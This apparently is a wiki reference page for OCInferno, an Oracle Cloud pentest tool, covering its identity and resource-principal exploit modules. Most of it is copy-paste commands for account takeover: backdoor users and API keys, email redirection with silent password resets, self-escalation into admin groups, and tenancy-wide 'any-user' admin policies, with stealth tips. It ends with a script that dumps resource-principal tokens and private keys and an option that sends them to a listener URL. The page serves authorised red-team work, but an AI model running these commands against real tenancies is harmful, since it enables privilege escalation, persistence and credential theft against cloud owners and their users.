Skip to content

Exploit Module Reference

WebbinRoot edited this page Jul 28, 2026 · 2 revisions

Exploit Module Reference

This page covers every exploit module in OCInferno: what it does in plain English, the minimum permissions/credential type it needs, every flag it accepts, and copy/paste-ready example commands. For enumeration modules see Enumeration-Module-Reference. For the OpenGraph escalation view these modules map to, see Default Priv-Escalation Mode.

Placeholder convention: USER_OCID, GROUP_OCID, DOMAIN_URL, POLICY_OCID are used in every example. Replace them with your actual values. Never commit real credentials, OCIDs, or tenancy details to documentation.

The shipped exploit modules are split across three categories:

  • Identity / IAM (6 modules under modules/identityclient/exploit/): user creation, API key injection, auth token creation, group creation, group membership, policy writes.
  • Resource Principal extraction (5 modules, one per service): capture the RPST JWT + private key that OCI injects into serverless runtimes, then reload them as an OCInferno credential. In other words, allows you to start calling APIs as the resource.
  • Container Registry (1 module): push, pull, retag, replace, or delete OCIR images without docker login, using OCI API signing.

Table of Contents

Classic vs Identity-Domain: how target resolution actually works

Every Identity exploit module here can operate against either OCI's classic IAM API or an identity domain's SCIM API (--classic vs --idd --domain-url <DOMAIN_URL>). Most modern tenancies are domain-based (the default for any tenancy created since late 2021), which means classic IAM is a thin compatibility layer over a "Default" identity domain -- there is no truly separate "classic-only" user/group in that setup, just two APIs pointing at the same underlying identity.

  • If a target is already in the workspace DB (from enum_identity), the --classic/--idd flag is ignored — the cached kind is used instead. Pass a raw OCID that isn't in the DB to force a specific path.
  • exploit_write_policy has no --idd/--classic flag — IAM policies are a classic-IAM object. Its subject can still target an identity-domain group via --group NAME --domain Default.

Quick Reference

Module Plain English Minimum Prerequisites
exploit_create_user Create a brand-new IAM user, optionally with an API key Classic: Tenancy Administrator-level USER_CREATE. IDD: an admin app-role on the target domain (e.g. Identity Domain Administrator)
exploit_add_user_api_key Upload your own API signing key to an existing user -> log in as them Classic: USER_UPDATE + USER_APIKEY_ADD on the target. IDD: a domain admin app-role, or USER_UPDATE+USER_APIKEY_ADD-equivalent self-service (every user can always add a key to themselves)
exploit_add_user_auth_token Create or delete an OCI auth token for a target user — for OCIR docker login, DevOps HTTPS git, Swift API USER_UPDATE + AUTH_TOKEN_CREATE on the target. Targeting yourself (--self): no permissions needed
exploit_create_group Create a new IAM group to place controlled identities in Classic: GROUP_CREATE (manage groups covers it). IDD: a domain admin app-role on the target domain
exploit_add_self_to_group Add a user to a group to inherit its permissions Classic: USER_UPDATE (over the member) + GROUP_UPDATE (over the group). IDD: a domain group-management app-role
exploit_update_user Change a user's email — redirects the password-reset link to a pentester inbox Classic: USER_UPDATE on the target. IDD: domain admin app-role
exploit_reset_password Reset a user's console/domain password — returns it directly (classic) or delivers via email/OTP (IDD) Classic: USER_UPDATE on the target. IDD: domain admin app-role
exploit_write_policy Create/append an IAM policy granting broad access POLICY_CREATE/POLICY_UPDATE (manage policies) at the target scope
exploit_ocir_image_manipulate Upload, pull, retag, replace, or delete OCIR images using OCI API signing (no docker login) read repos-family (listing/pull); manage repos-family (upload/replace/delete/retag)

All identity modules support --yes/--no-prompt for non-interactive/scripted use, and all use the same target-resolution flags where applicable: --user-ocid / --user-name (matched against the workspace DB) / --self (the active credential's own user).


Identity Client Exploits

These eight modules target OCI IAM (classic) and Identity Domains (IDD) objects — users, groups, and policies. Each supports both the classic IAM API and the IDD REST API; target resolution is described in Classic vs Identity-Domain: how target resolution actually works.


exploit_create_user

Module path: modules.identityclient.exploit.exploit_create_user
OpenGraph Edges: OCI_CREATE_USER / IDD_CREATE_USER

What It Does

Creates a brand-new IAM user -- classic or identity-domain. A freshly created user has no credentials of its own, so this module can immediately chain into minting an API key (--with-api-key) or starting a full session as the new user (--assume), turning a single USER_CREATE-class permission into a controlled, persistent identity you fully own. This is primarily a persistence primitive (a new identity with reduced attribution / longer-term access) rather than an immediate escalation by itself -- it becomes an escalation when combined with a permissive Allow any-user ... policy statement already in scope, or when chained with exploit_write_policy/exploit_add_self_to_group afterward.

Example Scenario

You discover a policy statement Allow any-user to manage all-resources in tenancy in the tenancy root. Any user — including one you create right now — inherits that permission immediately. Run exploit_create_user --classic --with-api-key --assume to mint a new user, upload an API key, and start a session as them in a single step. That new user now has tenancy-admin access via the existing any-user policy, with no further exploitation needed.

Minimum Prerequisites

  • Classic path: Tenancy Administrator-level access — manage users (or USER_CREATE) at the tenancy root. A domain-admin credential alone is not enough here; if that's all you have, use --idd instead.
  • Identity-domain path: Any domain admin app-role on the target domain — Identity Domain Administrator, User Administrator, or User Manager all work (see Default Priv-Escalation Mode).
  • Tip: Always pass --email. In domain-based tenancies OCI requires it on the classic path too, even though the flag shows as optional in help output.

Flags

Flag Description
--name Username for the new user (prompted if omitted).
--email Email address. Prompted interactively if omitted; required for IDD, and in practice required for classic too in domain-based tenancies (see gotcha above).
--given-name, --family-name IDD profile fields.
--description Classic description field.
--compartment-id Classic: compartment for the user (default tenancy root).
--idd, --domain-url Create an identity-domain user via SCIM against the given domain endpoint.
--classic Create a classic IAM user (mutually exclusive with --idd).
--console-password Classic only: also set + return a console (UI) password.
--with-api-key Also mint an API signing key on the new user.
--assume, --assume-name Mint a key AND start + save a session as the new user (implies --with-api-key).
--yes / --no-prompt Non-interactive (requires --name, and --idd/--classic explicitly).

Examples

With OCInferno:

# Classic, tenancy-admin credential, full takeover chain
modules run exploit_create_user --classic --name pentester1 \
  --email pentester1@example.invalid --with-api-key --console-password --yes

# Identity-domain, domain-admin credential
modules run exploit_create_user --idd --domain-url https://idcs-xxxx.identity.oraclecloud.com \
  --name pentester1 --email pentester1@example.invalid --with-api-key --yes

# Non-interactive one-liner (drive-through, no REPL)
python -m ocinferno --module exploit_create_user --workspace WORKSPACE_NAME --cred CRED_NAME \
  --classic --name pentester1 --email pentester1@example.invalid --with-api-key --assume --yes

Without OCInferno (OCI CLI):

# Generate RSA keypair
openssl genrsa -out pentester.pem 4096
openssl rsa -in pentester.pem -pubout -out pentester_pub.pem

# Classic: create user
oci iam user create \
  --name pentester1 \
  --email pentester1@example.invalid \
  --compartment-id TENANCY_OCID \
  --profile CRED_NAME

# Classic: upload API key to new user
oci iam user api-key upload \
  --user-id NEW_USER_OCID \
  --key "$(cat pentester_pub.pem)" \
  --profile CRED_NAME

# IDD: SCIM (no native OCI CLI wrapper — use curl with a domain access token)
curl -sS -X POST "DOMAIN_URL/admin/v1/Users" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"userName":"pentester1","name":{"givenName":"Pentester","familyName":"One"},"emails":[{"value":"pentester1@example.invalid","primary":true}]}'

exploit_add_user_api_key

Module path: modules.identityclient.exploit.exploit_add_user_api_key
OpenGraph Edges: OCI_CREATE_USER_API_KEY / IDD_CREATE_USER_API_KEY

What It Does

Uploads an pentester-controlled RSA public key to an existing user (classic or identity-domain), giving you programmatic API access as that user via the matching private key -- no password needed. This is the single most direct account-takeover primitive in the suite: one API call converts a permission grant into a durable, non-interactive credential. Per OCI's own documentation, every user can always add an API key to themselves with no policy grant at all, so --self always works regardless of any explicit OCI_CREATE_USER_API_KEY edge.

Example Scenario

You find a service account user in enum_identity that is a member of the Administrators group. Your active credential has USER_UPDATE + USER_APIKEY_ADD on it. Run exploit_add_user_api_key --user-name svc-admin --assume to upload your own public key and immediately start a session as that service account — inheriting full admin access through its group membership, with no password or console login needed.

Minimum Prerequisites

  • Targeting someone else — classic: USER_UPDATE + USER_APIKEY_ADD on the target user.
  • Targeting someone else — identity-domain: a domain admin app-role (Identity Domain Administrator or User Administrator).
  • Targeting yourself (--self): no permissions needed — OCI lets every user upload keys to their own account on either path.

Flags

Flag Description
--user-ocid / --user-name / --self Target user (OCID, DB name match, or the active credential's own user).
--idd, --domain-url Treat a manually-entered target as identity-domain (forces the SCIM path; ignored if the target is already DB-cached -- see target resolution).
--classic Treat a manually-entered target as classic IAM.
--public-key-path Use an existing PEM public key instead of generating a fresh keypair.
--key-size RSA key size when generating (default 2048).
--description Optional label for the created key (IDD only).
--assume, --assume-name After minting, start + save a new session AS that user.
--yes / --no-prompt Non-interactive (requires a resolvable target).

Examples

With OCInferno:

modules run exploit_add_user_api_key --self --assume

modules run exploit_add_user_api_key --user-ocid USER_OCID --classic --yes

modules run exploit_add_user_api_key --user-ocid USER_OCID --idd \
  --domain-url https://idcs-xxxx.identity.oraclecloud.com --yes

Without OCInferno (OCI CLI):

# Generate keypair
openssl genrsa -out pentester.pem 4096
openssl rsa -in pentester.pem -pubout -out pentester_pub.pem

# Classic: upload API key
oci iam user api-key upload \
  --user-id USER_OCID \
  --key "$(cat pentester_pub.pem)" \
  --profile CRED_NAME

# IDD: SCIM API key upload
curl -sS -X POST "DOMAIN_URL/admin/v1/ApiKeys" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d "{\"schemas\":[\"urn:ietf:params:scim:schemas:oracle:idcs:ApiKey\"],\"user\":{\"value\":\"SCIM_USER_ID\"},\"publicKey\":\"$(cat pentester_pub.pem)\",\"name\":\"pentester-key\"}"

Live-tested tip: a freshly-uploaded API key takes roughly 10-30 seconds to propagate. The first call on an --assume'd session may 401 (NotAuthenticated) -- just retry.


exploit_add_user_auth_token

Module path: modules.identityclient.exploit.exploit_add_user_auth_token
OpenGraph Edges: None (prerequisite/supporting action, not a direct privilege escalation edge)

What It Does

Creates or deletes an OCI auth token for a target user. Auth tokens are opaque credentials used for:

  • OCIR docker login (docker login REGION.ocir.io)
  • DevOps git clone over HTTPS (as the git password)
  • Swift API access
  • Any other OCI service that accepts HTTP Basic auth

The token value is shown only once at creation time and cannot be retrieved later — save it immediately. --for-ocir prints a ready-made docker login command. --save stores the token in OCInferno's auth-token store so other modules (exploit_devops_repositories_download, exploit_ocir_image_manipulate --auth-token) can pick it up automatically.

Note: For OCIR push/pull where you already have an OCI API key (the common case), exploit_ocir_image_manipulate uses OCI request signing and does NOT need an auth token at all. Create an auth token only when you need docker CLI, crane, skopeo, or DevOps HTTPS git access.

Example Scenario

You have USER_UPDATE on a CI service account. Create an auth token for it (exploit_add_user_auth_token --user-ocid USER_OCID --save --yes), then use the token to docker push your RPST image to OCIR under the service account's identity — the OCIR access log records the service account, not your pentester identity. Alternatively, pass the saved token directly to exploit_functions_rpst --tarball or exploit_ocir_image_manipulate --auth-token and skip the docker login entirely.

Minimum Prerequisites

  • Targeting someone else (classic): USER_UPDATE + AUTH_TOKEN_CREATE on the target user.
  • Targeting yourself (--self): no permissions needed — every user can always create auth tokens for their own account.

Flags

Flag Description
--user-ocid / --user-name / --self Target user (OCID, DB name match, or the active credential's own user).
--idd, --domain-url Treat a manually-entered target as an identity-domain user (forces SCIM path; ignored if target is DB-cached).
--classic Treat a manually-entered target as a classic IAM user.
--description Token description (default: ocinferno-pentest).
--for-ocir After creation, print a ready-made docker login command for OCIR.
--save Save the token into OCInferno's auth-token store (configs auth-tokens) for reuse by other modules.
--delete, --token-id Delete an existing token by its ID (requires a target user + --token-id).
--yes / --no-prompt Non-interactive; skip confirmation prompts.

Examples

With OCInferno:

# Create a token for yourself; print docker login command
modules run exploit_add_user_auth_token --self --for-ocir --save

# Create a token for another user (non-interactive)
modules run exploit_add_user_auth_token --user-ocid USER_OCID --save --yes

# Create + immediately print docker login command (useful for OCIR push)
modules run exploit_add_user_auth_token --self --for-ocir --yes

# Delete a specific token
modules run exploit_add_user_auth_token --self --delete --token-id TOKEN_ID --yes

Without OCInferno (OCI CLI):

# Create auth token (token value shown once — save it now)
oci iam auth-token create \
  --user-id USER_OCID \
  --description "ocir-push" \
  --profile CRED_NAME

# Delete auth token
oci iam auth-token delete \
  --user-id USER_OCID \
  --auth-token-id TOKEN_ID \
  --profile CRED_NAME --force

# docker login using the auth token (Identity Domain tenancy)
docker login REGION_CODE.ocir.io \
  -u "OBJECT_STORAGE_NAMESPACE/DOMAIN_NAME/USERNAME" \
  -p "AUTH_TOKEN_VALUE"

exploit_create_group

Module path: modules.identityclient.exploit.exploit_create_group
OpenGraph Edges: OCI_CREATE_GROUP / IDD_CREATE_GROUP

What It Does

Creates a new IAM group -- classic or identity-domain. A freshly created group has no members, so this module is typically chained with exploit_add_self_to_group to place a controlled user inside it, and exploit_write_policy to grant the group permissions. This is primarily a persistence and lateral-movement primitive: owning a group lets you expand access to any user you place in it, and decouples the permission grant (the group's policy) from the specific identity that will use it.

Example Scenario

You have manage groups and manage policies but are not yet a member of any privileged group. Create a new group (exploit_create_group --classic --name backdoor), write a policy granting it admin (exploit_write_policy --group backdoor --resource all-resources), then add yourself to it (exploit_add_self_to_group --group-name backdoor). You now have tenancy admin access through an identity chain you fully control — and you can add other users to the group at any time.

Minimum Prerequisites

  • Classic path: manage groups (or GROUP_CREATE) at the tenancy root or compartment scope.
  • Identity-domain path: Any domain admin app-role on the target domain (Identity Domain Administrator or equivalent).

Flags

Flag Description
--name Name for the new group (prompted if omitted).
--description Description for the new group (classic).
--compartment-id Classic: compartment for the group (default tenancy root).
--idd, --domain-url Create an identity-domain group via SCIM against the given domain endpoint.
--classic Create a classic IAM group (mutually exclusive with --idd).
--yes / --no-prompt Non-interactive (requires --name, and --idd/--classic explicitly).

Examples

With OCInferno:

# Classic group at tenancy root
modules run exploit_create_group --classic --name pentesters --yes

# Identity-domain group
modules run exploit_create_group --idd --domain-url https://idcs-xxxx.identity.oraclecloud.com \
  --name pentesters --yes

# Non-interactive one-liner (drive-through, no REPL)
python -m ocinferno --module exploit_create_group --workspace WORKSPACE_NAME --cred CRED_NAME \
  --classic --name pentesters --yes

Without OCInferno (OCI CLI):

# Classic
oci iam group create \
  --name pentesters \
  --description "pentester group" \
  --compartment-id TENANCY_OCID \
  --profile CRED_NAME

# IDD: SCIM
curl -sS -X POST "DOMAIN_URL/admin/v1/Groups" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:schemas:core:2.0:Group"],"displayName":"pentesters"}'

exploit_add_self_to_group

Module path: modules.identityclient.exploit.exploit_add_self_to_group
OpenGraph Edges: OCI_ADD_SELF_TO_GROUP / IDD_ADD_SELF_TO_GROUP

What It Does

Adds a user (default: the active credential's own user) to a group, immediately inheriting every permission that group's policies grant. This is a derived self-placement path -- holding the right update permissions over users/groups lets you place yourself into a higher-privileged group without ever being explicitly invited.

Example Scenario

enum_identity shows a group called DatabaseAdmins with a policy granting manage autonomous-database-family in tenancy. Your credential has manage groups on it. Run exploit_add_self_to_group --group-name DatabaseAdmins — you immediately gain full database admin access without the DB team being notified, because no new user or policy was created.

Minimum Prerequisites

  • Classic path: USER_UPDATE on the member + GROUP_UPDATE on the group (manage groups covers both).
  • Identity-domain path: A group-management app-role on the domain.
  • Note: The group's kind (classic vs IDD) determines which path runs, not the member's. See target resolution.

Flags

Flag Description
--user-ocid / --user-name Member to add (default: the active credential's own user).
--group-ocid / --group-name Target group.
--group-scim-id IDD group SCIM id, if already known.
--idd, --domain-url Identity-domain group.
--classic Classic IAM group.
--yes / --no-prompt Non-interactive.

Examples

With OCInferno:

modules run exploit_add_self_to_group --group-ocid GROUP_OCID

modules run exploit_add_self_to_group --group-ocid GROUP_OCID --idd \
  --domain-url https://idcs-xxxx.identity.oraclecloud.com

modules run exploit_add_self_to_group --user-ocid USER_OCID --group-name Administrators --yes

Without OCInferno (OCI CLI):

# Classic
oci iam group add-user \
  --user-id USER_OCID \
  --group-id GROUP_OCID \
  --profile CRED_NAME

# IDD: SCIM patch
curl -sS -X PATCH "DOMAIN_URL/admin/v1/Groups/GROUP_SCIM_ID" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],"Operations":[{"op":"add","path":"members","value":[{"value":"USER_SCIM_ID"}]}]}'

exploit_update_user

Module path: modules.identityclient.exploit.exploit_update_user
OpenGraph Edges: OCI_UPDATE_USER / IDD_UPDATE_USER

What It Does

Edits a user's email address (and optionally description on the classic path). The primary abuse case is redirecting the password-reset link: change the target user's email to a pentester-controlled address, then run exploit_reset_password — the reset link (or OTP) arrives in your inbox, completing the account takeover without ever needing the original credentials. Requires USER_UPDATE on the target, or a domain admin app-role for identity-domain users.

Example Scenario

You find jsmith@corp.com is a member of the Administrators group but you have no way to get their password or API key directly. You have a domain admin app-role. Change their email to attacker@example.invalid (exploit_update_user --user-name jsmith --idd --domain-url DOMAIN_URL --email attacker@example.invalid), then run exploit_reset_password --user-name jsmith --idd --domain-url DOMAIN_URL — OCI sends the password-reset link to the redirected address, which lands in your controlled inbox. Follow the link to set a new password and log in to the console as a tenancy admin.

Minimum Prerequisites

  • Classic path: USER_UPDATE on the target user.
  • Identity-domain path: A domain admin app-role (Identity Domain Administrator or User Administrator).

Flags

Flag Description
--user-ocid / --user-name / --self Target user (OCID, DB name match, or the active credential's own user).
--email New email to set (prompted if omitted).
--description New description (classic only).
--idd, --domain-url Identity-domain target.
--classic Classic IAM target.
--yes / --no-prompt Non-interactive (requires a resolvable target and --email).

Examples

With OCInferno:

# Redirect a user's email (sets up the exploit_reset_password takeover chain)
modules run exploit_update_user --user-ocid USER_OCID --email pentester@example.invalid --yes

# Self (redirect your own email)
modules run exploit_update_user --self --email pentester@example.invalid --yes

# Identity-domain user
modules run exploit_update_user --user-ocid USER_OCID --idd \
  --domain-url https://idcs-xxxx.identity.oraclecloud.com --email pentester@example.invalid --yes

Without OCInferno (OCI CLI):

# Classic: update email
oci iam user update \
  --user-id USER_OCID \
  --email pentester@example.invalid \
  --profile CRED_NAME

# IDD: SCIM PATCH
curl -sS -X PATCH "DOMAIN_URL/admin/v1/Users/SCIM_USER_ID" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],"Operations":[{"op":"replace","path":"emails[primary eq true].value","value":"pentester@example.invalid"}]}'

exploit_reset_password

Module path: modules.identityclient.exploit.exploit_reset_password
OpenGraph Edges: OCI_RESET_USER_PASSWORD / IDD_RESET_USER_PASSWORD

What It Does

Resets a user's password.

Classic path: Calls OCI's CreateOrResetUIPassword API and returns the new password directly in the terminal — immediate console login, no email sent.

Identity-domain path: Calls OCI's UserPasswordResetter SCIM resource (PUT /admin/v1/UserPasswordResetters/{id}). By default, OCI emails a reset link to the account's current email address. With --bypass-notification, the bypassNotification attribute is set to true on the request — OCI skips the email entirely and returns a one-time password directly in the response instead. This behaviour is publicly documented in the OCI Identity Domains REST API reference under UserPasswordResetter — Reset a User Password (Random Value). Because the email flow lands in the account's inbox, it is most useful after first redirecting the account's email via exploit_update_user, or use --new-email to do both in a single step.

Example Scenario

You have a domain admin app-role via a compromised service account. You want console access as ceo@corp.com without triggering an email notification. Run exploit_reset_password --user-name ceo --idd --domain-url DOMAIN_URL --bypass-notification — you get an OTP back directly in the terminal. Log in at the OCI console before it expires. No email is sent to the original account.

Minimum Prerequisites

  • Classic path: USER_UPDATE on the target user.
  • Identity-domain path (--bypass-notification, returns OTP directly): Domain admin app-role required.
  • Identity-domain path (sends reset email): Identity Domain Administrator or User Administrator.

Flags

Flag Description
--user-ocid / --user-name / --self Target user (OCID, DB name match, or the active credential's own user).
--idd, --domain-url Identity-domain target.
--classic Classic IAM target.
--bypass-notification IDD: return a one-time password directly instead of emailing a reset link (requires domain admin).
--new-email IDD: change the user's email to this address before the reset in a single step (alternative to running exploit_update_user separately).
--yes / --no-prompt Non-interactive.

Examples

With OCInferno:

# Classic: returns new console password directly
modules run exploit_reset_password --user-ocid USER_OCID --classic --yes

# IDD: get OTP directly (requires domain admin)
modules run exploit_reset_password --user-ocid USER_OCID --idd \
  --domain-url https://idcs-xxxx.identity.oraclecloud.com --bypass-notification --yes

# IDD: redirect email and reset in one step
modules run exploit_reset_password --user-ocid USER_OCID --idd \
  --domain-url https://idcs-xxxx.identity.oraclecloud.com \
  --new-email pentester@example.invalid --bypass-notification --yes

# Full two-step takeover chain
modules run exploit_update_user --user-ocid USER_OCID --email pentester@example.invalid --yes
modules run exploit_reset_password --user-ocid USER_OCID --idd \
  --domain-url https://idcs-xxxx.identity.oraclecloud.com --yes

Without OCInferno (OCI CLI):

# Classic: create/reset console password (new password returned in response)
oci iam user ui-password create-or-reset \
  --user-id USER_OCID \
  --profile CRED_NAME

# IDD: send password-reset email (lands at the account's current email)
curl -sS -X POST "DOMAIN_URL/admin/v1/UserPasswordChanger" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:api:messages:oracle:idcs:UserPasswordChanger"],"user":{"value":"SCIM_USER_ID"},"type":"resetPassword"}'

# IDD: generate OTP directly (bypass-notification, requires admin)
curl -sS -X POST "DOMAIN_URL/admin/v1/UserPasswordChanger" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:api:messages:oracle:idcs:UserPasswordChanger"],"user":{"value":"SCIM_USER_ID"},"type":"resetPassword","bypassNotification":true}'

Takeover chain: exploit_update_user --email pentester@example.invalidexploit_reset_password --bypass-notification (get OTP) or exploit_reset_password (reset link arrives at pentester inbox). The OTP returned by --bypass-notification is valid for a single console login.


exploit_write_policy

Module path: modules.identityclient.exploit.exploit_write_policy
OpenGraph Edges: OCI_CREATE_POLICY / OCI_UPDATE_POLICY

What It Does

Creates a brand-new IAM policy (or appends a statement to an existing one) granting broad access -- the highest-blast-radius identity privilege escalation in the suite, since one policy statement can grant manage all-resources tenancy-wide to any subject you choose: any-user (everyone), yourself specifically (via a request.user.id condition), a chosen user OCID, a group, or a dynamic-group. --append-to edits an existing policy instead of creating a new one, which is stealthier (no new policy object appears in an audit of recently-created resources).

Unlike the other 4 modules, this one has no --idd/--classic flag -- IAM policy objects are inherently a classic-IAM construct in OCI, even in a domain-based tenancy. Its subject can still reference an identity-domain group via --group NAME --domain Default.

Example Scenario

Your credential has manage policies at the tenancy root but isn't in any privileged group. Create a backdoor policy scoped to your own user OCID: exploit_write_policy --self --resource all-resources — this emits Allow any-user to manage all-resources in tenancy where request.user.id = '<your OCID>'. You now have tenancy admin access tied to your specific identity, without touching any group membership. For a lower-profile alternative, use --append-to EXISTING_POLICY_OCID to embed the statement in an existing policy rather than creating a new, detectable object.

Minimum Prerequisites

  • manage policies (covers POLICY_CREATE and POLICY_UPDATE) at the target scope — in practice this means Tenancy Administrator or a compartment-scoped policy-admin grant.
  • Tip: If you hit compartment-scoping errors, omit --compartment-id to default to the tenancy root — it's the most reliable target.

Flags

Flag Description
--any-user Grant to any-user (everyone becomes admin -- noisy, high blast radius).
--self Grant to your own user via a request.user.id condition.
--target-user-ocid Grant to a specific user OCID via condition.
--group Grant to a group by name.
--dynamic-group Grant to a dynamic-group by name.
--domain Identity-domain qualifier for --group/--dynamic-group (e.g. Default); OCID subjects ignore it.
--verb manage/use/read/inspect (default manage).
--resource Resource type (default all-resources).
--scope tenancy (default) or a compartment name/OCID.
--statement Raw policy statement(s), repeatable -- overrides the builder entirely.
--append-to Existing policy OCID to APPEND to (update instead of create; stealthier).
--name, --compartment-id, --description Create-mode metadata (compartment defaults to tenancy root -- see gotcha above).
--yes / --no-prompt Non-interactive.

Examples

With OCInferno:

# Grant yourself tenancy-wide admin
modules run exploit_write_policy --self --yes

# Grant an identity-domain group broad access
modules run exploit_write_policy --group Administrators --domain Default --yes

# Append a narrow grant to an existing policy (stealthier than creating a new one)
modules run exploit_write_policy --append-to POLICY_OCID --target-user-ocid USER_OCID \
  --verb manage --resource all-resources --scope tenancy --yes

# Raw statement, full control
modules run exploit_write_policy --statement "Allow any-user to manage all-resources in tenancy" --yes

Without OCInferno (OCI CLI):

# Create a new policy granting tenancy-wide admin
oci iam policy create \
  --name pentester-admin \
  --compartment-id TENANCY_OCID \
  --description "pentester admin policy" \
  --statements '["Allow any-user to manage all-resources in tenancy"]' \
  --profile CRED_NAME

# Append a statement to an existing policy (fetch current statements first)
EXISTING=$(oci iam policy get --policy-id POLICY_OCID --profile CRED_NAME \
  | python3 -c "import json,sys; print(json.dumps(json.load(sys.stdin)['data']['statements']))")
NEW=$(echo "$EXISTING" | python3 -c "import json,sys; s=json.load(sys.stdin); s.append('Allow any-user to manage all-resources in tenancy'); print(json.dumps(s))")
oci iam policy update \
  --policy-id POLICY_OCID \
  --statements "$NEW" \
  --version-date "" \
  --profile CRED_NAME

Resource Principal (RPST) Extraction

Note — RPST tokens remain valid after resource deletion. An RPST is a signed JWT. OCI validates it by checking the JWT signature and the exp (expiry) claim only — it does not check whether the resource that issued the token still exists. This means that even if you use --cleanup (or any other method) to delete the underlying resource after retrieving the token, the RPST continues to grant the same API access until the JWT expires.

For all RPST-capable services: capture first, then clean up. The cleanup step reduces your operational footprint but does not shorten the token's validity window. Plan for the full TTL (typically 12 hours for most services) when assessing exposure.

OCI injects a Resource Principal Session Token (RPST) — a short-lived JWT plus a matching private key — into the execution environment of several serverless runtimes (DataFlow, Data Science, DevOps, Functions, Container Instances). The RPST represents an OCI identity that can call APIs within the scope of its policy grant. In simple terms, resources authenticate to OCI using a token and a private key, which OCInferno supports as added credentials. Whether that resource has permissions is dependent on the IAM policies.

These five modules capture the RPST and private key, then save them as an OCInferno credential so you can sign OCI API calls as the resource principal. Each module includes a Service Background section with extraction scripts, DG setup notes, and manual CLI walkthrough for that service.

For services without an automated exploit module, see Background: Manual Extraction Reference at the bottom of this page.


exploit_dataflow_runs_rpst

Module path: modules.dataflow.exploit.exploit_dataflow_runs_rpst
OpenGraph Edges: GENERATE_RPST_DATAFLOW_RUN

What It Does

Creates a DataFlow application and run whose script reads the resource-principal environment variables and prints them between RPST_START/RPST_END markers. After the run finishes the module retrieves stdout via the DataFlow get_run_log() API — no OCI Logging or Object Storage read permissions required. Optionally also POSTs to an pentester listener.

Dynamic Group rule: All {resource.type = 'dataflowrun', resource.compartment.id = 'COMP_OCID'}

Example Scenario

enum_dataflow found a DataFlow application running in a compartment whose dynamic group has manage all-resources in tenancy. Your credential has manage data-flow-family in that compartment. Run exploit_dataflow_runs_rpst --bucket PENTESTER_BUCKET --assume — the module submits a run, waits for completion, retrieves the RPST from stdout, and saves it as a new credential. You can now call any OCI API as that DataFlow service identity.

Minimum Prerequisites

manage data-flow-family in compartment
manage objects in compartment   (script + logs bucket)

Available plays

  • python — Spark 3.2.1 (default)
  • python-classic — VM.Standard2.1
  • python-33 — Spark 3.3.4 (not available in all regions)
  • java — requires a pre-compiled JAR via --jar-file
  • scala — requires a pre-compiled JAR via --jar-file

Run modules run exploit_dataflow_runs_rpst --preplay list for the full table plus Java/Scala source code.

Key flags

Flag Description
--bucket Object Storage bucket for script + logs (prompted if omitted)
--preplay Play name (default python)
--output-url Also POST RPST to this URL
--logs-bucket Separate logs bucket (defaults to --bucket)
--script-file Custom .py script instead of built-in play
--jar-file JAR file for java/scala plays
--cleanup Delete the DataFlow application after the run
--assume Auto-save captured RPST without prompting
--wait-minutes Run timeout (default 20)

Examples

With OCInferno:

# Default play, in-band log retrieval
modules run exploit_dataflow_runs_rpst --bucket BUCKET_NAME --assume --cleanup

# Exfil to listener
modules run exploit_dataflow_runs_rpst --preplay python --bucket BUCKET_NAME --output-url http://COLLAB_HOST/rpst --cleanup

# Show plays
modules run exploit_dataflow_runs_rpst --preplay list

Without OCInferno (OCI CLI):

# 1. Upload extraction script to Object Storage
oci os object put --bucket-name BUCKET_NAME --name bad_job.py \
  --file bad_job.py --profile CRED_NAME

# 2. Create DataFlow application (Flex shape; --logs-bucket-uri enables in-band log retrieval)
oci data-flow application create \
  --compartment-id COMPARTMENT_OCID \
  --display-name "bad-app" \
  --driver-shape VM.Standard.E4.Flex \
  --executor-shape VM.Standard.E4.Flex \
  --driver-shape-config '{"ocpus":1,"memoryInGBs":15}' \
  --executor-shape-config '{"ocpus":1,"memoryInGBs":15}' \
  --file-uri "oci://BUCKET_NAME@OBJECT_STORAGE_NAMESPACE/bad_job.py" \
  --logs-bucket-uri "oci://BUCKET_NAME@OBJECT_STORAGE_NAMESPACE/" \
  --language PYTHON \
  --num-executors 1 \
  --spark-version 3.2.1 \
  --profile CRED_NAME

# 3. Submit run
oci data-flow run create \
  --application-id APPLICATION_OCID \
  --compartment-id COMPARTMENT_OCID \
  --display-name ocinferno-rpst-run \
  --profile CRED_NAME

# 4. Poll until SUCCEEDED (lifecycle-state)
oci data-flow run get --run-id RUN_OCID --profile CRED_NAME

# 5. List log files, then retrieve stdout (contains RPST between markers)
oci data-flow run list-logs --run-id RUN_OCID --profile CRED_NAME
oci data-flow run get-log \
  --run-id RUN_OCID \
  --name "spark_application_stdout.log.gz" \
  --file - \
  --profile CRED_NAME

Script Analysis

In place (bad_job.py) — submitted as the Spark driver. Reads the RPST JWT and private key from the env-var paths OCI injects and prints them between RPST_START/RPST_END markers (parsed by the module from the DataFlow log API — no listener required):

import os, json

rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path   = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version   = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region    = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION',  'NOT_SET')

rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk   = open(pk_path).read().strip()   if pk_path   and os.path.exists(pk_path)   else 'NO_PK'

print('=== RPST_START ===')
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
print('=== RPST_END ===')

Exfil variant (bad_job.py) — also POSTs the RPST to an external listener. Used when --output-url is passed:

